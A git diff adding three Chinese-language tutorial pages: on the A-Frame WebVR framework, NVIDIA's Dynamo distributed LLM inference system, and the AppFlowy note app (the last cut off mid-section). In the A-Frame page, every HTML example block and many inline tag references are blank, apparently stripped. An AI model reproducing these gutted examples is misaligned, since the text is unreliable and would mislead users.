@@ -0,0 +1,197 @@ +--- +title: A-Frame — Web VR 框架 +来源: 'https://github.com/aframevr/aframe' +日期: 2026-06-13 +子分类: 渲染与图形 +分类: 图形学 +provenance: pipeline-v3 +难度: 初级 +--- + +## 是什么 + +A-Frame 是 Mozilla 发起、现由社区维护的 **Web VR / WebXR 框架**,底层基于 [three.js](https://threejs.org/),上层用 **HTML 标签**描述 3D 场景。日常类比:如果把 three.js 比作「砖块和水泥」,A-Frame 就是「带户型图的精装套餐」——你写 ``、`` 这类标签,就像往空房间里摆家具;框架自动帮你接好 WebGL 渲染器、相机、灯光、WebXR 会话,浏览器里点开链接就能戴头显进 VR,或在手机上陀螺仪环视。 + +和「纯 JavaScript 搭 three.js 场景」不同,A-Frame 把 **实体-组件-系统(Entity-Component-System, ECS)** 映射到 DOM:`` 是空容器,HTML 属性就是组件数据,`` 既是根节点也是全局系统入口。GitHub 主仓库 [aframevr/aframe](https://github.com/aframevr/aframe) 超过 17k star,MIT 协议,适合快速原型、教育 demo、展览类 WebXR 体验。 + +```html + + + + + + + + + + + + + + + +``` + +保存为 `.html` 用本地静态服务器打开(不能直接双击文件,WebXR 需要 HTTP),就能看到经典「Hello World」三件套:盒子、球、圆柱,外加地面和天空背景。 + +## 为什么重要 + +不了解 A-Frame,下面这些事很难解释: + +- 为什么 Web 上 VR 体验可以「发链接就能试」,而不必下载独立 App——WebXR API + A-Frame 在 `` 里默认集成会话管理 +- 为什么 HTML 开发者也能搭 3D 场景——ECS 被声明式地写进标签属性,改 `position="0 1 -3"` 就像改 CSS +- 为什么 three.js 老手仍会用 A-Frame——组件生态(手势、物理、环境生成)和 DOM 事件桥接省掉大量样板代码 +- 为什么同一套 markup 能在桌面预览、Cardboard、Quest 浏览器里跑——框架处理设备差异,你主要关心实体与组件 + +## 核心概念 + +### 1. `` — 整个「舞台」 + +`` 是根实体,负责创建 canvas、WebGL 上下文、渲染循环、默认相机与灯光,并启用 WebXR。场景里所有可见对象都是它的子节点。类比:舞台本身不表演,但没有它,演员(实体)没地方站。 + +### 2. Entity(实体)— 空 `
` 式的 3D 容器 + +`` 本身不渲染任何东西;挂上 **geometry**(形状)+ **material**(外观)后才可见。每个实体天生带 `position`、`rotation`、`scale` 三个变换组件。子实体继承父级变换——把相机挂到「玩家」实体下,玩家移动时视角跟着动。 + +Primitives(原语)如 ``、`` 是语法糖,底层仍是 ``。 + +### 3. Component(组件)— 可插拔的「能力模块」 + +组件通过 HTML 属性挂在实体上:`color="#4CC3D9"` 实际是 `material` 组件的 shorthand。自定义组件用 `AFRAME.registerComponent` 注册,可定义 schema(属性类型与默认值)和生命周期:`init`、`update`、`tick`、`remove`。 + +类比:Entity 是插座,Component 是插头——「几何插头」决定形状,「材质插头」决定颜色,「animation 插头」决定会不会动。 + +### 4. System(系统)— 场景级「总控」 + +System 挂在 `` 上,管理某一类组件的全局逻辑(例如统一处理所有 `physics-body`)。单场景 demo 很少手写 System,但读源码或做大型项目时会遇到。 + +### 5. WebXR 与设备 + +A-Frame 1.x 默认集成 WebXR。桌面浏览器可鼠标拖拽环视;Android Chrome 可进 Cardboard 模式;Quest 等头显浏览器点「Enter VR」即沉浸。`` 控制是否显示 VR 按钮。 + +## 第二个示例:动画、交互与自定义组件 + +下面在基础场景上增加:悬浮动画、点击变色、以及一个每帧旋转的自定义组件。 + +```html + + + + + A-Frame 交互示例 + + + + + + + + + + + + + + + + + + + + + + +``` + +要点: + +- `animation` 组件是内置的,用属性字符串描述补间,无需手写 `requestAnimationFrame` +- `class="clickable"` + `raycaster="objects: .clickable"` 限定可点击对象 +- 自定义组件通过 `this.el.object3D` 访问底层 three.js 对象,与声明式 markup 混用 + +## 典型工作流 + +| 步骤 | 做什么 | 常用工具 | +|------|--------|----------| +| 1. 搭场景骨架 | `` + 相机 + 灯光 + 地面/天空 | 内置 primitives | +| 2. 摆物体 | position / rotation / scale,或 glTF 模型 | `` | +| 3. 加交互 | cursor、laser-controls、事件监听 | 社区组件如 `super-hands` | +| 4. 写逻辑 | `AFRAME.registerComponent` | 组件 schema + tick | +| 5. 部署 | 静态托管 | GitHub Pages、Netlify、任意 CDN | + +本地开发推荐: + +```bash +# 任选一种静态服务器,避免 file:// 协议限制 +npx serve . +# 或 +python3 -m http.server 8080 +``` + +## 与 three.js / PlayCanvas 的对比 + +| 维度 | A-Frame | 裸 three.js | PlayCanvas | +|------|---------|-------------|------------| +| 入口形态 | HTML 标签 + 组件 | JavaScript API | 引擎 API + 云编辑器 | +| VR 友好度 | 默认 WebXR | 需自行接 WebXR | 内置 WebXR | +| 学习曲线 | 前端开发者友好 | 图形学曲线陡 | 游戏引擎思维 | +| 适用场景 | Web 展览、教育、轻量 VR | 完全自定义渲染 | 商业 3D 游戏 | + +A-Frame 不是游戏引擎替代品——复杂物理、大型开放世界、重度 UI 往往仍选 Unity / Godot 导出或 PlayCanvas。它的甜区是:**快速在 Web 上交付可分享的沉浸式体验**。 + +## 生态与扩展 + +- **aframe.io** 官方文档与示例画廊 +- **npm 社区组件**:`aframe-environment-component`(一键生成地形/天空)、`aframe-extras`(加载器与控制器)、物理引擎封装等 +- **Inspector**:运行场景后按 `Ctrl+Alt+I`(Windows)或 `Cmd+Option+I`(Mac)打开内嵌场景 inspector,可视化调 position/rotation +- **与 React / Vue**:可用 wrapper 或直接操作 DOM attribute;A-Frame 本质是 DOM,框架无关 + +## 常见问题 + +**Q:页面空白?** +检查是否用 HTTP 服务打开;控制台是否有 WebGL 报错;相机是否对着物体(默认原点在 `(0,0,0)`,物体和相机别叠在一起)。 + +**Q:VR 按钮不出现?** +需要 HTTPS 或 localhost,且浏览器支持 WebXR;iOS Safari 对 WebXR 支持有限,需关注目标设备。 + +**Q:性能卡顿?** +减少 draw call(合并 mesh)、压缩 glTF(Draco)、降低阴影与后处理;移动端避免过高面数。 + +**Q:和 React 一起用冲突吗?** +不冲突。常见模式是 React 管页面 UI,A-Frame 场景作为独立 mount 点;注意 React 重渲染时不要销毁正在运行的 ``。 + +## 小结 + +A-Frame 把 **three.js + WebXR + ECS** 包装成「写 HTML 就能搭 3D/VR」的体验:`` 开舞台,`` 当容器,组件像插件一样叠加能力与外观。零基础可以先玩 primitives 和内置 `animation`,再写 `AFRAME.registerComponent` 扩展行为。发一个 URL,别人就能进你的 Web VR 房间——这就是它最大的日常价值。 diff --git a/src/content/docs/projects/ai-dynamo.md b/src/content/docs/projects/ai-dynamo.md new file mode 100644 index 000000000..f6b65c7b3 --- /dev/null +++ b/src/content/docs/projects/ai-dynamo.md @@ -0,0 +1,300 @@ +--- +title: ai-dynamo / Dynamo — 数据中心级分布式 LLM 推理编排 +来源: https://github.com/ai-dynamo/dynamo +日期:2026-06-13 +子分类: 模型与训练 +分类: 机器学习 +provenance:pipeline-v3 +--- + +## 是什么 + +**NVIDIA Dynamo**(PyPI 包名 `ai-dynamo`,仓库 [ai-dynamo/dynamo](https://github.com/ai-dynamo/dynamo))是一个面向**多 GPU / 多节点**的生成式 AI 推理编排框架。它**不替代** vLLM、SGLang 或 TensorRT-LLM,而是站在这些推理引擎之上,把一堆 GPU 协调成一套可扩展的推理系统。 + +日常类比: + +- **vLLM / SGLang**:像一家餐厅里**单条流水线厨房**——一个厨师(一块 GPU)把点菜、备料、炒菜、装盘全包了,单店效率很高。 +- **Dynamo**:像**连锁餐饮集团的调度中心**——前台接单后,把「大量备料」(prefill)派给备菜间,把「逐盘小炒」(decode)派给炒锅间;还知道哪个分店已经备过同样的料(KV cache 命中),新单直接路由过去,避免重复切菜。 + +如果你只在**单卡单模型**上跑推理,直接用 vLLM 往往就够。当你要跨机架、按 SLA 自动扩缩、或把 prefill 与 decode 拆开扩时,才需要 Dynamo 这一层。 + +> **易混淆名字**:本文的 Dynamo ≠ Amazon DynamoDB 数据库 ≠ SOSP 2007 的 Amazon Dynamo KV 存储 ≠ PLDI 2000 的 HP Dynamo 动态优化系统。它们只是同名不同物。 + +## 为什么重要 + +不理解 Dynamo,下面这些事很难讲清楚: + +- **多节点推理怎么编排**:单机引擎优化的是「一块 GPU 怎么快」;Dynamo 优化的是「几十上百块 GPU 怎么一起干活、谁接哪类请求」 +- **Prefill/Decode 分离(Disaggregated Serving)**:长 prompt 的 prefill 是计算密集型,逐 token 的 decode 是内存带宽密集型;绑在同一池 GPU 上经常互相拖累 +- **KV-aware 路由**:两个用户带着相同系统提示来聊天时,若路由到已缓存前缀的 worker,可跳过重复 prefill——官方与 Baseten 等案例报告 TTFT 可接近 **2×** 提升 +- **与 Triton 的关系**:Dynamo 被 NVIDIA 定位为面向 GenAI 的分布式推理栈,承接并扩展了 Triton Inference Server 在模型服务化上的积累(见 [NVIDIA Developer — Dynamo](https://developer.nvidia.com/dynamo)) + +## 核心概念 + +Dynamo 把「调度、路由、内存、传输、扩缩、容错」拆成可独立安装的模块(Rust crate + Python wheel),常见组件如下。 + +### 1. 推理引擎后端(Backend) + +Dynamo **引擎无关**,当前主要支持: + +| 后端 | 典型场景 | +|------|----------| +| **vLLM** | 开源生态最广,PagedAttention | +| **SGLang** | RadixAttention、结构化生成 | +| **TensorRT-LLM** | NVIDIA 栈内极致单请求延迟 | + +你选 backend,Dynamo 负责在上层做集群级决策。 + +### 2. Disaggregated Prefill / Decode(P/D 分离) + +一次 chat 分两段: + +1. **Prefill**:读入整段 prompt,并行算 attention,生成 KV cache——像「把剧本通读一遍」 +2. **Decode**:每次只生成 1 个 token,反复读 KV cache——像「照着笔记逐句接龙」 + +Dynamo 可把 prefill worker 池与 decode worker 池**独立扩缩**,让两类硬件特性不同的负载各就其位。 + +### 3. KV-Aware Router(KV 感知路由) + +Router 不只看「哪台机器 CPU 空闲」,还看**请求前缀与哪台 worker 已有 KV 重叠**。命中则避免重复 prefill,降低 **TTFT(Time To First Token)**。 + +### 4. KV Block Manager(KVBM) + +KV cache 不必全钉在 GPU 显存。KVBM 可在多级存储间搬运块: + +``` +G1 GPU 显存 → G2 CPU 内存 → G3 本地 SSD → G4 远程(S3 / Azure Blob 等,经 NIXL) +``` + +效果:在显存预算内支撑更长上下文或更高并发,代价是 offload 时的带宽与延迟权衡。 + +### 5. NIXL(数据传输) + +**NIXL** 是 Dynamo 生态里的低延迟点对点传输库,负责 GPU 之间、以及 GPU 与各级存储之间的 KV / 权重块搬运,是 P/D 分离与 KV offload 的「数据平面高速公路」。 + +### 6. Planner(SLA 驱动扩缩) + +Planner 根据 **TTFT**、**ITL/TPOT(每 token 间隔)** 等 SLA 目标,结合负载画像,自动调整 prefill / decode 池规模,在延迟与 TCO 之间找平衡点。 + +### 7. Grove(Kubernetes 拓扑调度) + +[Grove](https://github.com/ai-dynamo/grove) 是 K8s operator,做**拓扑感知**的 gang scheduling——例如 NVL72 机架内,把需要 NVLink 紧耦合的 worker 放到正确的 rack / NUMA 域。 + +### 8. 部署模式:Standalone vs Gateway (GAIE) + +| 模式 | 请求路径 | 适用 | +|------|----------|------| +| **Standalone** | `client → Frontend → Router → workers` | 本地开发、单集群、Dynamo 端到端托管入口 | +| **Gateway (GAIE)** | `client → K8s Inference Gateway → EPP → Frontend sidecar → workers` | 已有 Gateway API、需要网关级鉴权/限流/可观测 | + +两种模式对外都暴露 **OpenAI 兼容 HTTP API**。 + +### 9. 服务发现(本地 vs K8s) + +- **本地开发**:`--discovery-backend file`,通常**不需要** etcd / NATS +- **Kubernetes**:用 CRD + EndpointSlice 做原生发现,同样可不依赖外部消息中间件 + +## 架构一图流 + +```text + ┌─────────────────┐ + │ OpenAI API │ + │ /v1/chat/... │ + └────────┬────────┘ + │ + ┌────────▼────────┐ + │ Frontend │ + └────────┬────────┘ + │ + ┌──────────────┼──────────────┐ + │ │ │ + ┌────────▼────────┐ ┌───▼───┐ ┌────────▼────────┐ + │ KV-Aware │ │Planner│ │ KVBM + NIXL │ + │ Router │ │ │ │ (多级 KV) │ + └────────┬────────┘ └───────┘ └────────┬────────┘ + │ │ + ┌────────┴────────┐ ┌───────┴───────┐ + │ Prefill Workers │ │ Decode Workers │ + │ (vLLM/SGLang/ │ │ (同左后端) │ + │ TRT-LLM) │ │ │ + └─────────────────┘ └────────────────┘ +``` + +## 实践案例 + +### 案例 1:容器内最快体验(SGLang 后端) + +官方 Quick Start 的典型流程:拉预构建镜像,起 Frontend + Worker,用 curl 打 OpenAI 兼容接口。 + +```bash +# 拉取 SGLang 运行时镜像(版本以 NGC 当前 tag 为准) +docker run --gpus all --network host --rm -it \ + nvcr.io/nvidia/ai-dynamo/sglang-runtime:1.2.0 + +# 容器内:后台起 Frontend +python3 -m dynamo.frontend --http-port 8000 --discovery-backend file \ + > /dev/null 2>&1 & + +# 起 SGLang worker(小模型便于本地试) +python3 -m dynamo.sglang \ + --model-path Qwen/Qwen3-0.6B \ + --discovery-backend file & + +# 发请求 +curl -s localhost:8000/v1/chat/completions \ + -H "Content-Type: application/json" \ + -d '{ + "model": "Qwen/Qwen3-0.6B", + "messages": [{"role": "user", "content": "用三句话解释 KV cache"}], + "max_tokens": 128 + }' | jq +``` + +要点:`--discovery-backend file` 让本地单机无需 etcd;Frontend 与 worker 通过 Dynamo 的发现机制互相注册。 + +### 案例 2:PyPI 安装 + vLLM 后端 + +```bash +# 推荐用 uv 管理环境 +curl -LsSf https://astral.sh/uv/install.sh | sh + +uv venv .venv && source .venv/bin/activate +uv pip install --prerelease=allow "ai-dynamo[vllm]" + +# 起 Frontend +python3 -m dynamo.frontend --http-port 8000 --discovery-backend file & + +# vLLM worker 示例(模型与并行度按你的 GPU 调整) +python3 -m dynamo.vllm \ + --model-path meta-llama/Llama-3.1-8B-Instruct \ + --discovery-backend file \ + --kv-events-config '{"enable_kv_cache_events": false}' & +``` + +vLLM 后端本地试跑时,官方建议关闭或简化 KV events,避免为路由状态引入额外基础设施;上 K8s 生产再按需打开 KV 事件与 KV-aware 路由的完整链路。 + +### 案例 3:Kubernetes 零配置部署(DGDR,beta) + +生产向路径:声明模型、后端与 SLA,由 **AIConfigurator** 画像、**Planner** 定拓扑、**Grove** 等组件落地。 + +```yaml +apiVersion: nvidia.com/v1beta1 +kind: DynamoGraphDeploymentRequest +metadata: + name: qwen3-0.6b-serving +spec: + model: Qwen/Qwen3-0.6B + backend: vllm + sla: + ttft: 200.0 # 首 token 延迟目标(毫秒) + itl: 20.0 # 逐 token 间隔目标(毫秒) + autoApply: true +``` + +仓库 `recipes/` 目录提供 Llama-3-70B、DeepSeek-R1、Qwen3-32B-FP8 等现成配方,可直接对照改模型名与 disaggregated / aggregated 模式。 + +### 案例 4:用 Python OpenAI SDK 调用(与 vLLM 单机用法相同) + +Dynamo Frontend 兼容 OpenAI API,业务代码通常**不用改**: + +```python +from openai import OpenAI + +client = OpenAI( + base_url="http://localhost:8000/v1", + api_key="not-needed", # 本地部署常可占位 +) + +stream = client.chat.completions.create( + model="Qwen/Qwen3-0.6B", + messages=[ + {"role": "system", "content": "你是推理系统助教。"}, + {"role": "user", "content": "Dynamo 和 vLLM 的分工是什么?"}, + ], + max_tokens=256, + stream=True, +) + +for chunk in stream: + delta = chunk.choices[0].delta.content + if delta: + print(delta, end="", flush=True) +``` + +Dynamo 的价值体现在**集群侧**(路由、P/D 池、KV 多级缓存),客户端仍按标准 OpenAI 协议说话。 + +## 与 vLLM 的分工(一张表记住) + +| 维度 | vLLM(单机引擎) | Dynamo(编排层) | +|------|------------------|------------------| +| 优化目标 | 单 GPU / 单节点吞吐与显存利用率 | 多节点 SLA、池化扩缩、全局 KV 复用 | +| 是否跑模型 | 是,直接执行 forward | 否,调度后端 worker | +| P/D 分离 | 需自行拼基础设施 | 一等公民 | +| KV 跨节点 | 非核心能力 | Router + KVBM + NIXL | +| 典型入口 | `python -m vllm.entrypoints...` | `python -m dynamo.frontend` + backend worker | + +二者关系是**叠加**而非替代:生产里常见组合是 **Dynamo + vLLM backend**。 + +## 踩过的坑 + +- **名字撞车**:搜 "Dynamo" 会冒出 Amazon、PyTorch `torch.compile`/dynamo、数据库等结果;LLM 推理请认准 `ai-dynamo` 与 `docs.nvidia.com/dynamo` +- **单卡没必要上全套**:单 GPU 本地试模型,直接 vLLM 更简单;Dynamo 的组件(Router、Planner、Grove)在集群才有收益 +- **本地发现后端**:忘记 `--discovery-backend file` 时,可能去连并不存在的 etcd/NATS +- **vLLM KV events**:本地开发按 README 关闭 `enable_kv_cache_events`,否则路由状态与事件总线配置会对不上 +- **TensorRT-LLM 安装**:需额外 `--extra-index-url https://pypi.nvidia.com`,与纯 PyPI 的 vLLM/SGLang 路径不同 +- **特性矩阵因后端而异**:例如 KVBM 在部分后端仍标为 🚧,部署前查 [Feature Matrix](https://docs.nvidia.com/dynamo/resources/feature-matrix) + +## 适用 vs 不适用 + +**适用**: + +- 多 GPU / 多节点 LLM 服务,需要统一 OpenAI API 入口 +- 长上下文、高并发,需要 KV offload 与跨 worker 复用 +- 明确 TTFT / TPOT SLA,需要 Planner 自动调池 +- 已在 Kubernetes 上跑 AI 负载,希望用 Grove / DGDR 声明式部署 +- 多模态、Agent、视频生成等扩展负载(1.0+ 持续加特性) + +**不适用**: + +- 笔记本单卡跑个小模型玩玩 → [[ollama]] 或裸 vLLM +- 只做模型训练 / 微调 → Dynamo 是**推理 serving** 栈 +- 不想碰 K8s 且只有一台机器 → 编排层收益有限 +- 闭源 API(GPT-4 等)→ 直接调云厂商接口 + +## 性能数字怎么读 + +官方 README 与 NVIDIA 博客常引用的量级(具体模型与硬件见原文): + +| 指标 | 量级 | 语境 | +|------|------|------| +| 吞吐 | 最高约 **7×** / **750×**(不同基准) | 相对未编排基线,GB200/GB300 等大集群 | +| 冷启动 | 约 **7×** 更快 | ModelExpress 经 NIXL 流式传权重 | +| TTFT | 约 **2×** | KV-aware routing | +| SLA 违约 | 约 **80%** 减少 | Planner 扩缩(某云厂商案例) | + +读 benchmark 时务必核对:**模型、卡型、是否 disaggregated、是否 KV 路由、流量模式**——AIPerf 是仓库推荐的对比工具(见 `docs/benchmarks/benchmarking.md`)。 + +## 学到什么 + +- **推理优化分两层**:引擎层(怎么算得快)与编排层(算力放哪、缓存放哪、请求给谁) +- **Prefill 与 Decode 是两种负载**:拆开池化是数据中心 LLM serving 的主流方向之一 +- **KV cache 是跨请求的资产**:路由算法和存储层级与 attention 算法本身同样重要 +- **模块化开源**:`ai-dynamo`、`kvbm`、`nixl` 可拆开装,便于渐进式采用 +- **OpenAI API 再次成为集成标准**:上层业务无感,底层可从单机 vLLM 迁到 Dynamo 集群 + +## 延伸阅读 + +- 官方文档:[docs.nvidia.com/dynamo](https://docs.nvidia.com/dynamo/) +- 架构总览:[Overall Architecture](https://docs.nvidia.com/dynamo/design-docs/overall-architecture) +- 仓库:[github.com/ai-dynamo/dynamo](https://github.com/ai-dynamo/dynamo) +- 博客:[Introducing NVIDIA Dynamo (2026-03)](https://developer.nvidia.com/blog/introducing-nvidia-dynamo-a-low-latency-distributed-inference-framework-for-scaling-reasoning-ai-models/) +- [[vllm]] —— 常用 backend,单机推理引擎 +- [[kubernetes]] —— 生产部署载体;Grove / DGDR 依赖 K8s +- [[sglang]] —— 另一主流 backend(RadixAttention) +- 论文向:[[paged-attention-vllm]]、[[sglang-radixattention]]、[[nexus-prefill-decode-intra-gpu]](理解 P/D 与 KV 路由背景) + +## 关联 + +- 上游生态:NVIDIA GPU、TensorRT-LLM、Triton 传统模型服务经验 +- 横向对比:llm-d、AIBrix 等 K8s 原生 LLM 编排方案(仓库 benchmark 文档有对比场景) +- 下游用户:云推理平台、企业私有化大模型网关、Agent 平台(LangChain / NeMo Agent Toolkit 集成) diff --git a/src/content/docs/projects/appflowy.md b/src/content/docs/projects/appflowy.md new file mode 100644 index 000000000..0c6b90314 --- /dev/null +++ b/src/content/docs/projects/appflowy.md @@ -0,0 +1,376 @@ +--- +title: AppFlowy — Rust + Flutter 开源 Notion 替代品 +来源: https://github.com/AppFlowy-IO/AppFlowy +日期: 2026-06-13 +子分类: 编辑器与 IDE +分类: CLI +provenance: pipeline-v3 +--- + +## 日常类比:把「私人笔记本」做成可拆装的模块化工作台 + +想象你有一间 **自己装修的工作室**,而不是租来的精装公寓: + +- **Notion** 像精装 SaaS:拎包入住、界面漂亮、协作顺手,但家具布局改不了,笔记数据在别人的服务器上,离线或自托管能力有限。 +- **AppFlowy** 像 **开源模块化工作室**:墙面(UI)用 Flutter 统一刷漆,水电与承重墙(业务逻辑、数据库、同步)用 Rust 浇筑;默认数据落在本机 SQLite,想协作再接 **AppFlowy Cloud**; AGPL-3.0 许可下你可以 fork、改模块、甚至换整套 UI,而核心「数据引擎」仍是一套跨平台 Rust 库。 + +零基础学习路径:**先装官方客户端体验 → 理解 Workspace / View / Document 层级 → 摸清 Flutter↔Rust 的 Event-Dispatch → 本地构建一次 → 按需读 `flowy-*` crate**。 + +--- + +## 这个项目解决什么问题 + +### 痛点 1:Notion 好用,但数据与扩展性不可控 + +[AppFlowy](https://github.com/AppFlowy-IO/AppFlowy) 官方 README 写得很直白:团队曾是 Notion 付费用户,但希望个人用户也能拥有 **同等功能 + 数据主权 + 跨平台原生体验**。开源 + 本地优先,让「笔记即数据资产」而不是「租来的页面」。 + +### 痛点 2:跨平台笔记应用常陷入「双端两套逻辑」 + +移动端一套、桌面端一套,同步与冲突处理各写一遍,维护成本爆炸。AppFlowy 用 **单 Flutter 代码库** 覆盖 macOS / Windows / Linux / iOS / Android(及 Web 方向),**单 Rust 工作区** 承载全部业务逻辑,通过 FFI 统一边界。 + +### 痛点 3:协作编辑的冲突与离线 + +多人同时改同一段文字,传统「最后写入胜出」会丢内容。AppFlowy 在文档层采用 **CRDT**(基于 [Yrs](https://github.com/y-crdt/yrs),Yjs 的 Rust 实现),离线编辑生成本地更新,联网后自动合并,无需中央锁。 + +### 痛点 4:Notion 的 Database / Wiki / AI 要「可自建」 + +除富文本文档外,还有 **Grid / Board / Calendar / Gallery** 等数据库视图、全文搜索(Tantivy)、可选 AI 能力(`flowy-ai`)。自托管时整条链路可在自己环境跑通。 + +--- + +## 核心概念拆解 + +### 1. 混合架构:Flutter 画 UI,Rust 干重活 + +| 层 | 技术 | 职责 | +|----|------|------| +| **Presentation** | Flutter Widget + BLoC | 渲染、交互、UI 状态 | +| **Application** | Dart BLoC | 把用户操作转成领域请求,不含复杂业务 | +| **Domain** | Dart 模型 + Protobuf | 业务实体与接口定义 | +| **Infrastructure** | Rust (`frontend/rust-lib/`) | 持久化、CRDT、搜索、同步、权限 | + +Rust 侧编译为 **静态库**(macOS/iOS)或 **动态库**(Windows/Linux/Android),Dart 通过 `dart:ffi` 调用。 + +### 2. 领域层级:User → Workspace → App → View + +官方 DDD 博文中的实体关系(随版本演进,核心思想不变): + +``` +User + └── Workspace(工作区) + └── App / Folder(应用或文件夹) + └── View(可展示对象:Document、Database、…) +``` + +- **View** 是抽象:同一套导航树里可以挂文档、多维表、白板等。 +- **Folder** 模块(`flowy-folder`)管层级、排序、回收站、收藏。 + +### 3. Event-Dispatch:Flutter 与 Rust 的「邮局系统」 + +团队自研 **Event-Dispatch** 模式,而不是早期常见的「每个 Rust 函数直接 FFI 导出」: + +1. Flutter 把请求 **Protobuf 序列化** 成字节; +2. 经 `dart-ffi` 的 `async_event` 送进 Rust; +3. `lib-dispatch` 根据 **事件名** 路由到已注册的 Handler(各 `flowy-*` 模块在启动时注册); +4. Handler 执行业务后,再序列化响应回 Dart; +5. BLoC 收到 Future 完成,重建 Widget。 + +优点:模块可插拔、可按事件类型分配线程池。代价:序列化开销与认知负担——读代码时要跟着「事件名」跳转。 + +### 4. 双库持久化:SQLite + CollabKVDB + KVStore + +这是读 AppFlowy 源码时最容易误解的一点——**并不是所有数据都进 SQLite**。官方采用 **多引擎分流**: + +| 存储层 | 技术 | 存什么 | 典型访问方式 | +|--------|------|--------|--------------| +| **SQLite** | Diesel ORM | 用户资料、工作区元数据、成员关系、AI 聊天历史 | SQL 查询、事务 | +| **CollabKVDB** | RocksDB(桌面)/ IndexedDB(Web) | 文档、多维表、文件夹结构的 **CRDT 二进制态** | `EncodedCollab` 键值读写 | +| **KVStore** | 键值偏好存储 | 主题、语言、服务器地址、会话缓存 | 简单 get/set | + +协作实体(Document、Database、Folder)在内存里是 **`Collab` 对象**(封装 [Yrs](https://github.com/y-crdt/yrs)),编辑产生 CRDT transaction;`CollabPersistenceImpl` 把状态序列化成 `EncodedCollab` 刷进 CollabKVDB。需要关系查询的「谁拥有哪个工作区」仍走 SQLite——**元数据用 SQL,正文用 CRDT**,各取所长。 + +### 5. Local-first + 可选云同步 + +数据流(架构文档归纳): + +1. 用户操作 **先改本地 CRDT 状态**,并立即持久化到 CollabKVDB; +2. 结构化元数据(新建页面、改标题)同步更新 SQLite; +3. 若连接 **AppFlowy Cloud** 或自托管实例,`SyncPlugin` 经 WebSocket 推送/拉取二进制 update; +4. 远端 update 合并进本地 Yrs 文档,数学上保证 **最终一致**,不靠「最后写入胜出」。 + +没网也能写;有网时多端自动合并,而不是强依赖在线 API。 + +### 6. Core Managers:Rust 后端的「五个部门」 + +`AppFlowyCore` 在启动时按依赖顺序装配五个领域 Manager,Flutter 发来的事件最终由它们处理: + +| Manager | Crate | 职责 | +|---------|-------|------| +| **UserManager** | `flowy-user` | 登录、OAuth、会话、工作区切换、数据导入 | +| **FolderManager** | `flowy-folder` | 工作区内的 View 树、排序、收藏、回收站 | +| **DocumentManager** | `flowy-document` | 块编辑器、文档 CRDT 生命周期 | +| **DatabaseManager** | `flowy-database2` | 多维表协调,为每张表维护 `DatabaseEditor` | +| **AIManager** | `flowy-ai` | AI 对话、模型选择、与本地 Ollama 等集成 | + +登录成功后,`UserManager` 触发 `AppLifeCycle`,再调用各 Manager 的 `initialize_after_sign_in`——因此读「打开工作区」类 bug 时,要从 **User → Folder → Document** 的初始化链看,而不是只盯 UI。 + +多维表内部还有 **三层分工**(官方 Database Architecture): + +``` +DatabaseManager(工作区级) + └── DatabaseEditor(单表:行、字段、关系) + └── DatabaseViewEditor(单视图:筛选、排序、分组) +``` + +### 7. Rust 工作区主要 Crate + +路径:`frontend/rust-lib/` + +| Crate | 作用 | +|-------|------| +| `dart-ffi` | C ABI 入口,连接 Dart | +| `flowy-core` | 生命周期、模块装配、配置 | +| `flowy-user` | 登录、OAuth、会话 | +| `flowy-folder` | 工作区与目录树 | +| `flowy-document` | 块编辑器 + CRDT | +| `flowy-database2` | 多维表视图 | +| `flowy-search` | Tantivy 全文检索 | +| `flowy-storage` | 附件与缓存 | +| `flowy-ai` | AI 对话与生成 | +| `lib-dispatch` | 事件注册与路由 | + +### 8. 文档模型:Block-based + CRDT + +`flowy-document` 把页面看成 **块(Block)** 列表:段落、标题、列表、待办、代码块、图片等。编辑操作转化为 CRDT 操作,适合协同与撤销历史。 + +### 9. 数据库视图:同一份行数据,多种「透镜」 + +`flowy-database2` 一张表可切换 Grid(表格)、Board(看板)、Calendar、Gallery。字段类型、筛选、排序、分组在 Rust 层统一处理,Flutter 只负责视图状态。 + +### 10. AppFlowy-Collab:可独立嵌入的协作层 + +协作逻辑不只躺在主仓库里——[AppFlowy-Collab](https://github.com/AppFlowy-IO/AppFlowy-Collab) 把 `collab` crate 单独发布,封装 Yrs、持久化插件、文档/数据库/文件夹领域模型。典型调用链: + +1. 领域模块(如 `flowy-document`)通过 `Collab` API 改块树; +2. Yrs transaction 触发 **Plugin 钩子**(`RocksdbDiskPlugin` 写本地、`SyncPlugin` 推云端); +3. 其他已连接客户端收到 update,刷新 UI。 + +想自建「带 Notion 式协同」的客户端,可以只依赖 `collab` + 自选同步后端,而不必 fork 整个 Flutter 壳。 + +### 11. 许可与生态 + +- **许可证**:AGPL-3.0——修改后网络提供服务需开源;自托管前要读清合规要求。 +- **社区**:GitHub 7 万+ stars(2026 年初),370+ 贡献者;官方提供 [Mintlify 开发者文档](https://appflowy-io-appflowy.mintlify.app/developer/architecture)。 +- **与 AppFlowy Editor**:富文本编辑器是独立 Flutter 包,可单独嵌入其他项目。 + +--- + +## 代码示例 1:Rust 侧 FFI 入口与事件分发(简化) + +官方文档给出的 FFI 形状如下;真实仓库中还会接入 Tokio 运行时与 `lib-dispatch`: + +```rust +// frontend/rust-lib/dart-ffi — 概念示意 +#[no_mangle] +pub extern "C" fn async_event(port: i64, input: *const u8, len: usize) { + let bytes = unsafe { std::slice::from_raw_parts(input, len) }; + // 1. 反序列化 Event { event: String, payload: Vec } + // 2. dispatch::find_handler(&event).await + // 3. 将结果写回 Dart Port +} + +// lib-dispatch — 各模块注册处理器 +pub fn register_event_handler(event: Event, handler: impl EventHandler) { + // flowy-folder、flowy-document 等在 flowy-core 初始化时注册 +} +``` + +**阅读技巧**:在仓库里搜具体 **Event 枚举**(如 Folder 相关事件),从 Flutter `Bloc` → `Dispatch` → Rust `handler` 跟一条完整链路,比泛泛读目录快得多。 + +--- + +## 代码示例 2:Collab 持久化与 EncodedCollab(Rust 概念) + +协作对象从编辑到落盘的路径(简化自 `collab-integrate` / `flowy-database2`): + +```rust +// 打开文档时:从 CollabKVDB 加载二进制 CRDT 状态 +let encoded: EncodedCollab = collab_kv.get_object(&doc_id)?; +let collab = Collab::new_with_source(CollabOrigin::Local, doc_id, encoded.into())?; + +// 编辑:在 Yrs transaction 里改块树,插件自动刷盘 +let mut txn = collab.transact_mut(); +collab_document::block::insert_block(&mut txn, parent_id, new_block)?; +drop(txn); // DiskPlugin 将 update 写入 RocksDB + +// 若启用云同步,SyncPlugin 把同一批 update 经 WebSocket 发出 +``` + +**要点**:Flutter 从不直接碰 RocksDB;它只发「插入块」「改字段」类 **Event**,由 `DocumentManager` / `DatabaseManager` 在 Rust 里操作 `Collab`。 + +--- + +## 代码示例 3:Cargo 工作区与协作依赖 + +根目录 